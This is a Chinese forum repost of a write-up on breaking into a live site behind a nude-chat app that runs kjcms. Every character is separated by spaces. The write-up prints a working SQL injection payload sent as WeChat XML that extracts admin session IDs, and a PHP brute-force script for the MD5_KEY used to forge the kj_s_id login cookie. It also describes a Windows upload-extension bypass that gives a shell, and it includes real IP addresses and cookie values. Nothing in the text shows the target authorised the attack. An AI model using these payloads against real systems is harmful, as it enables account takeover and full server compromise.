搜索

[180] 2020-12-27_记一次有趣的裸聊渗透测试

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2020-12-27_记一次有趣的裸聊渗透测试 记 一 次 有 趣 的 裸 聊 渗 透 测 试 f a n x i n g   A d m i n   T e a m   2 0 2 0 - 1 2 - 2 7 打 开 链 接 ， 发 现 是 一 个 裸 聊 的 a p p 下 载 ， 夜 神 + b u r p 抓 包 ， 获 取 到 网 址 ， 通 过 j s 的 文 件 特 征 去 g i t h u b 查 找 源 码 文 件 。 根 据 代 码 发 现 他 是 一 个 k j c m s ， 然 后 去 官 网 下 载 源 码 来 进 行 审 计 s q l 注 入 注 入 在 c l s _ w e i x i n : : o n _ e x e 方 法 中 ， 有 许 多 执 行 s q l 语 句 的 点 这 里 注 入 需 要 满 足 $ a r r _ m s g [ ‘ F r o m U s e r N a m e ’ ] 可 控 ， 发 现 $ a r r _ m s g 变 量 调 用 了 当 前 类 的 g e t _ m s g ( ) 方 法 ， 跟 进 这 个 方 法 ： s t a t i c   f u n c t i o n   g e t _ m s g ( )   {         $ a r r _ r e t u r n   =   a r r a y ( ) ;         $ c o n t   =   f i l e _ g e t _ c o n t e n t s ( " p h p : / / i n p u t " ) ;         / / $ c o n t   =   f i l e _ g e t _ c o n t e n t s ( K J _ D I R _ R O O T   .   " / t e s t . t x t " ) ;         i f ( e m p t y ( $ c o n t ) )   r e t u r n   $ a r r _ r e t u r n ;         $ r e q u e s t   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ c o n t   ,   ' S i m p l e X m l E l e m e n t '   ,   L I B X M L _ N O C D A T A ) ;         $ a r r _ r e t u r n   =   f u n _ f o r m a t : : t o a r r a y ( $ r e q u e s t ) ;         r e t u r n   $ a r r _ r e t u r n ; }
发 现 $ c o n t 是 通 过 p o s t 数 据 流 获 取 的 ， 传 入 的 x m l ， 继 续 跟 进 f u n _ f o r m a t : : t o a r r a y 这 里 不 太 重 要 ， 只 是 把 x m l 的 值 转 化 为 数 组 ， 所 以 在 o n _ e x e 方 法 中 的 $ a r r _ m s g 数 组 是 可 控 的 ， 即 可 以 产 生 s q l 注 入 ， 经 过 本 地 测 试 发 现 ， 在 o n _ e x e 方 法 中 的 数 据 查 询 很 多 都 不 存 在 表 ， 这 里 发 现 一 个 点 ： 跟 进 t a b _ w e i x i n _ m e s s a g e : : g e t _ o n e 方 法 ， 参 数 $ k e y 是 我 们 可 控 的 ， 参 数 $ s i t e _ i d 无 关 紧 要 全 局 查 找 c l s _ w e i x i n : : o n _ e x e ， 在 根 目 录 w e i x i n . p h p 调 用 了 这 个 方 法 现 在 就 只 需 要 构 造 p a y l o a d 了 ， 这 里 要 进 入 到 执 行 t a b _ w e i x i n _ m e s s a g e : : g e t _ o n e 方 法 ， 需 要 进 过 ： s t a t i c   f u n c t i o n   t o a r r a y ( $ c o n t )   {         i f ( g e t t y p e ( $ c o n t )   = =   " s t r i n g " )   $ c o n t   =   j s o n _ d e c o d e ( $ c o n t ) ;         $ a r r   =   ( a r r a y ) $ c o n t ;         f o r e a c h ( $ a r r   a s   $ i t e m = > $ k e y )   {                 i f ( g e t t y p e ( $ k e y )   = =   ' o b j e c t '   )   {                         $ k e y   =   s e l f : : t o a r r a y ( $ k e y ) ;                 }   e l s e   i f ( g e t t y p e ( $ k e y )   = =   ' a r r a y ' ) {                         $ k e y   =   s e l f : : o b j t o a r r a y ( $ k e y ) ;                 }                 $ a r r [ $ i t e m ]   =   $ k e y ;         }         r e t u r n   $ a r r ; } < ? p h p i n c l u d e ( " i n c . p h p " ) ; i f ( i s s e t ( $ _ G E T [ " e c h o s t r " ] ) )   {         e c h o   $ _ G E T [ " e c h o s t r " ] ; e x i t ; } c l s _ w e i x i n : : o n _ e x e ( ) ; i s s e r t ( $ a r r _ m s g [ ' T o U s e r N a m e ' ] ) - > i s s e r t ( $ a r r _ m s g [ ' F r o m U s e r N a m e ' ] ) - > $ a r r _ m s g [ ' M s g T y p e ' ]   = =   ' e v e n t ' - > $ a r r _ m s g [ ' E v e n t ' ] )   = =   ' c l i c k '
这 个 点 只 能 时 间 盲 注 ， 在 我 本 地 测 试 的 时 候 可 以 通 过 u p d a t e x m l ( 1 , i f ( ( { } ) , 0 x 7 c , 1 ) , 1 ) 的 方 法 来 实 现 时 间 盲 注 变 成 布 尔 注 入 ， 目 标 环 境 问 题 无 法 实 现 ， 我 就 写 了 个 脚 本 去 跑 账 号 密 码 。 发 现 自 己 傻 逼 了 ， 在 目 录 文 件 中 会 生 成 数 据 库 报 错 的 文 件 ， 路 径 为 ： / d a t a / e r r o r / d b _ q u e r y / 2 0 2 0 _ 0 9 _ 1 6 . t x t ( 年 份 _ 月 份 _ 日 . t x t )
知 道 表 结 构 和 字 段 ， 直 接 去 目 标 站 注 入 ， 拿 到 后 台 密 码 h a s h ， 发 现 解 密 不 了 ， 看 了 下 代 码 ， 有 盐 ， 是 通 过 m d 5 ( p a s s + 盐 ) 进 行 加 密 的 ， 这 里 盐 也 是 在 密 码 表 中 可 以 看 到 的 ， 发 现 也 解 密 不 了 。 伪 造 伪 造 c o o k i e 在 登 录 处 ， 发 现 c o o k i e 中 的 k j _ s _ i d 和 k j _ l o g i n _ t i m e 是 用 来 登 录 的 ， 感 觉 可 以 伪 造 ， 这 里 我 跟 进 下 代 码 ， 看 下 k j _ s _ i d 是 怎 么 生 成 的 ， 验 证 登 录 处 代 码 ： 跟 进 o n _ l o g i n _ v e r i f y 方 法 $ a r r _ f i e l d s 数 组 中 获 取 登 录 的 账 号 密 码 ， 继 续 跟 进 o n _ l o g i n 方 法 f u n c t i o n   a c t _ l o g i n _ v e r i f y ( )   {                 $ a r r _ r e t u r n   =   $ t h i s - > o n _ l o g i n _ v e r i f y ( ) ;                 r e t u r n   f u n _ f o r m a t : : j s o n ( $ a r r _ r e t u r n ) ;         } f u n c t i o n   o n _ l o g i n _ v e r i f y ( )   {         $ a r r _ r e t u r n   =   a r r a y ( " c o d e "   = >   0   ,   " i d " = > 0   ,   " m s g "   = >   c l s _ l a n g u a g e : : g e t ( " l o g i n _ o k " ) ) ;         $ a r r _ f i e l d s   =   a r r a y (                 " u s e r _ n a m e "   = >   f u n _ g e t : : p o s t ( " u n a m e " ) ,                 " u s e r _ p w d "       = >   f u n _ g e t : : p o s t ( " p w d " ) ,                 " v e r i f y c o d e "   = >   f u n _ g e t : : g e t ( " v e r i f y c o d e " ) ,                 " a u t o l o g i n "   = >   f u n _ g e t : : g e t ( " a u t o l o g i n " )         ) ;         i f ( ! f u n _ i s : : p w d ( $ a r r _ f i e l d s [ " u s e r _ p w d " ] ) )   {                 $ a r r _ r e t u r n [ " c o d e " ]   =   7 ;                 $ a r r _ r e t u r n [ " m s g " ]     =     f u n _ g e t : : r u l e _ p w d ( " t i p s " ) ;                 r e t u r n   $ a r r _ r e t u r n ;         }         $ a r r   =   c l s _ o b j : : g e t ( " c l s _ u s e r " ) - > o n _ l o g i n ( $ a r r _ f i e l d s ) ;         i f (   $ a r r [ " c o d e " ]   ! =   0   )   {                 $ a r r _ r e t u r n   =   $ a r r ;                 r e t u r n   $ a r r _ r e t u r n ;         }         r e t u r n   $ a r r _ r e t u r n ; }
$ s t r _ i d 是 通 过 f u n _ g e t : : s a f e c o d e 方 法 来 的 ， 现 在 只 需 要 $ p e r m s [ ‘ s i d ’ ] 是 怎 么 来 的 ， 跟 进 查 看 ， 并 没 发 现 到 什 么 ， 这 里 ， 我 直 接 打 印 出 s e l f : : $ p e r m s [ ‘ s i d ’ ] 的 值 ， 发 现 是 i p + 时 间 戳 + 随 机 数 的 形 式 发 现 这 里 数 据 存 放 在 数 据 库 的 k j _ s y s _ s e s s i o n 表 中 的 s e s s i o n _ i d 字 段 ， 而 s e s s i o n _ u s e r _ i d 表 示 是 否 登 录 在 ， 1 表 示 登 录 在 ， 0 表 示 退 出 了 登 录 。 e c h o   s e l f : : $ p e r m s [ ' s i d ' ] ; e x i t ;
我 们 有 注 入 点 ， 这 个 s e s s i o n _ i d 我 们 可 以 通 过 注 入 来 获 取 到 的 ， 现 在 跟 进 f u n _ g e t : : s a f e c o d e 方 法 ， 看 c o o k i e 中 的 k j _ s _ i d 是 怎 么 加 密 的 跟 进 $ s t r _ k e y 变 量 ， 看 他 是 从 哪 里 来 的 ， 跟 进 c l s _ c o n f i g : : M D 5 _ K E Y ， 发 现 他 来 自 d a t a c o n f i g c f g . e n v . o n l i n e . p h p 中 的 M D 5 _ K E Y 常 量 。 而 这 个 常 量 是 安 装 的 时 候 随 意 r a n d o m 的 五 位 数
最 后 获 取 的 $ s t r _ r e t u r n 是 由 3 部 分 组 成 $ s t r _ l e f t ， b a s e 6 4 ( $ m s g _ v a l ) ， $ s t r _ r i g h t ， 所 以 这 个 $ s t r _ k e y 变 量 需 要 我 们 继 续 爆 破 ， 并 且 知 道 f u n _ g e t : : s a f e c o d e 方 法 的 $ m s g _ v a l 参 数 是 i p + 时 间 戳 + 随 机 数 的 形 式 ， 下 面 就 进 行 漏 洞 复 现 。 漏 洞 复 现 漏 洞 复 现 首 先 抓 取 目 标 站 后 台 登 录 时 的 c o o k i e ， 如 ： N g M T E 5 L j Y y L j E y N C 4 y M T E 1 O T g z N T I 1 N D M 4 N z U Y T B j Z m V k N 2 Z m M z Y 2 O T Y z Y g ， 假 设 我 的 i p 地 址 为 ， 通 过 b a s e 6 4 为 ， 去 掉 = 。 本 地 经 过 测 试 发 现 i p + 时 间 戳 + 随 机 数 通 过 b a s e 6 4 编 码 后 为 3 6 位 ， 所 以 上 面 的 加 密 密 文 就 为 ： 我 们 通 过 注 入 获 取 $ m s g _ v a l 参 数 和 登 录 状 态 1 0 4 . 1 9 2 . 2 2 5 . 8 6 M T A z L j E 5 M i 4 y M j U u O D Y = N g M T E 5 L j Y y L j E y N C 4 y M T E 1 O T g z N T I 1 N D M 4 N z U Y T B j Z m V k N 2 Z m M z Y 2 O T Y z Y g < ? x m l   v e r s i o n = " 1 . 0 " ? > < n o t e >         < T o U s e r N a m e > c c c c < / T o U s e r N a m e >         < F r o m U s e r N a m e > 1 < / F r o m U s e r N a m e >         < M s g T y p e > e v e n t < / M s g T y p e >         < E v e n t > c l i c k < / E v e n t >         < E v e n t K e y > 1 '   a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   c o n c a t ( s e s s i o n _ i d , 0 x 7 e , s e s s i o n _ u s e r _ i d )   f r o m   ` k j _ s y s _ s e s s i o n `   o r d e r   b y   s e s s i o n _ u s e r _ i d   d e s c   l i m i t   0 , 1 ) , 0 x 7 e ) , 1 ) # < / E v e n t K e y < / n o t e >
成 功 读 取 到 了 ， 这 里 就 需 要 爆 破 M D 5 _ K E Y ， 他 是 五 位 数 的 ， 用 他 的 代 码 修 了 下 p h p 的 爆 破 脚 本 成 功 获 取 到 了 M D 5 _ K E Y ， 然 后 我 们 在 通 过 这 个 脚 本 利 用 这 个 M D 5 _ K E Y 来 生 成 k j _ s _ i d < ? p h p f u n c t i o n   s a f e c o d e ( $ m s g _ v a l , $ m s g _ t y p e = " e n c o d e " , $ s t r _ k e y _ v a l   =   ' 3 6 1 1 8 ' ) {   / /   1 9 2 . 1 6 8 . 5 0 . 1 3 5 1 6 0 0 0 6 9 1 2 5 5 5 2                 $ s t r _ k e y               =   $ s t r _ k e y _ v a l ;                 $ s t r _ e n _ k e y         =   b a s e 6 4 _ e n c o d e ( $ s t r _ k e y ) ;                 $ s t r _ m d 5 _ k e y       =   m d 5 ( $ s t r _ k e y ) ;                 $ s t r _ m d 5 _ k e y _ 1   =   s u b s t r ( $ s t r _ m d 5 _ k e y   ,   0   ,   1 ) ;                 $ s t r _ m d 5 _ k e y _ 2   =   s u b s t r ( $ s t r _ m d 5 _ k e y   ,   - 1   ,   1 ) ;                 $ l n g _ k e y _ 1           =   o r d ( $ s t r _ m d 5 _ k e y _ 1 ) ;                 $ l n g _ k e y _ 2           =   o r d ( $ s t r _ m d 5 _ k e y _ 2 ) ;                 $ l n g _ x _ k e y 1         =   s u b s t r ( $ l n g _ k e y _ 1 , - 1 , 1 ) ;                 i f ( $ l n g _ k e y _ 1   >   9 )   {                         $ l n g _ x _ k e y 2   =   i n t v a l ( s u b s t r ( $ l n g _ k e y _ 1   ,   - 2   ,   1 ) )   +   $ l n g _ x _ k e y 1 ;                 } e l s e {                         $ l n g _ x _ k e y 2   =   $ l n g _ x _ k e y 1   *   2 ;                 }                 $ s t r _ l e f t             =   b a s e 6 4 _ e n c o d e ( s u b s t r ( $ s t r _ m d 5 _ k e y   ,   $ l n g _ x _ k e y 1   ,   $ l n g _ x _ k e y 2 ) ) ;                 $ l n g _ 2 _ k e y 1         =   s u b s t r ( $ l n g _ k e y _ 2   ,   - 1   ,   1 ) ;                 i f ( $ l n g _ 2 _ k e y 1   >   9 ) {                         $ l n g _ 2 _ k e y 2   =   i n t v a l ( s u b s t r ( $ l n g _ k e y _ 2   ,   - 2   ,   1 ) )   +   $ l n g _ 2 _ k e y 1 ;                 } e l s e {                         $ l n g _ 2 _ k e y 2   =   $ l n g _ 2 _ k e y 1   *   2 ;                 }                 $ s t r _ r i g h t   =   b a s e 6 4 _ e n c o d e ( s u b s t r ( $ s t r _ m d 5 _ k e y   ,   - $ l n g _ 2 _ k e y 2 ) ) ;                 i f ( $ m s g _ t y p e   = =   " e n c o d e " ) {                         $ s t r _ e n _ i d       =   b a s e 6 4 _ e n c o d e ( $ m s g _ v a l ) ;                         $ s t r _ e n _ c o d e   =   $ s t r _ l e f t   .   $ s t r _ e n _ i d   .   $ s t r _ r i g h t ;                         $ s t r _ r e t u r n     =   s t r _ r e p l a c e ( " = "   ,   " "   ,   $ s t r _ e n _ c o d e ) ;                 } e l s e {                         $ s t r _ l e f t         =   s t r _ r e p l a c e ( " = "   ,   " "   ,   $ s t r _ l e f t ) ;                         $ s t r _ r i g h t       =   s t r _ r e p l a c e ( " = "   ,   " "   ,   $ s t r _ r i g h t ) ;                         $ s t r _ l l e n         =   s t r l e n ( $ s t r _ l e f t ) ;                         $ s t r _ r l e n         =   s t r l e n ( $ s t r _ r i g h t ) ;                         $ s t r _ l e n           =   s t r l e n ( $ m s g _ v a l ) ;                         i f ( $ s t r _ l e n   <   ( $ s t r _ l l e n   +   $ s t r _ r l e n ) ) {                                 $ s t r _ r e t u r n   =   " " ;                         } e l s e {                                 $ s t r _ r e t u r n   =   b a s e 6 4 _ d e c o d e ( s u b s t r ( $ m s g _ v a l   ,   $ s t r _ l l e n   ,   - $ s t r _ r l e n ) ) ;                         }                 }                 r e t u r n   $ s t r _ r e t u r n ;         } f u n c t i o n   g e t N u m b e r ( $ s t a r t = 1 , $ e n d = 9 9 9 9 9 ) {         f o r   ( $ i = $ s t a r t ;   $ i   < =   $ e n d ;   $ i + + )   {                   $ a r r [ ]   =   s u b s t r ( s t r _ r e p e a t ( " 0 " , 6 ) . $ i , - 5 , 5 ) ;         }         r e t u r n   $ a r r ; } $ n u m b e r s =   g e t N u m b e r ( 1 , 9 9 9 9 9 ) ; f o r e a c h   ( $ n u m b e r s   a s   $ v a l ) {         $ k e y s s   =   s a f e c o d e ( ' 1 0 5 . 1 1 2 . 2 1 5 . 4 2 1 6 0 0 2 2 7 6 9 5 8 3 1 ' , ' e n c o d e ' , $ v a l ) . " < b r   / > " ;         e c h o   $ k e y s s . ' : ' . s t r v a l ( $ v a l ) . " < b r   / > " ;         i f   ( $ k e y s s   = =   ' N g M T A z L j E 5 M i 4 y M j U u N D I x N j A w M j I 3 N j k 1 O D M x Y T B j Z m V k N 2 Z m M z Y 2 O T Y z Y g ' ) {                 e c h o   $ v a l ;                 e x i t ;         } }
最 后 就 可 以 伪 造 c o o k i e 登 录 后 台 了 重 装 漏 洞 重 装 漏 洞 g e t s h e l l 本 来 以 为 后 台 可 以 直 接 修 改 文 件 上 传 的 后 缀 ， 发 现 事 情 并 没 有 那 么 简 单
发 现 还 是 限 制 了 p h p 无 法 上 传 ， 跟 进 这 部 分 代 码 看 了 下 ， l i b t a b t a b . o t h e r . a t t a t c h . p h p 这 里 会 先 获 取 上 传 文 件 的 后 缀 ， 来 判 断 后 缀 是 否 存 在 $ a r r _ n o _ a l l o w _ e x t 数 组 中 ， 所 以 会 先 判 断 数 组 里 面 的 上 传 类 型 ， 在 判 断 允 许 上 传 的 类 型 。 这 里 只 有 针 对 w i n d o w s 可 以 g e t s h e l l 了 ， 我 们 将 上 传 类 型 修 改 成 p h p ( 空 格 ) ， 由 于 w i n d o w s 特 性 ， 会 把 空 格 去 掉 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理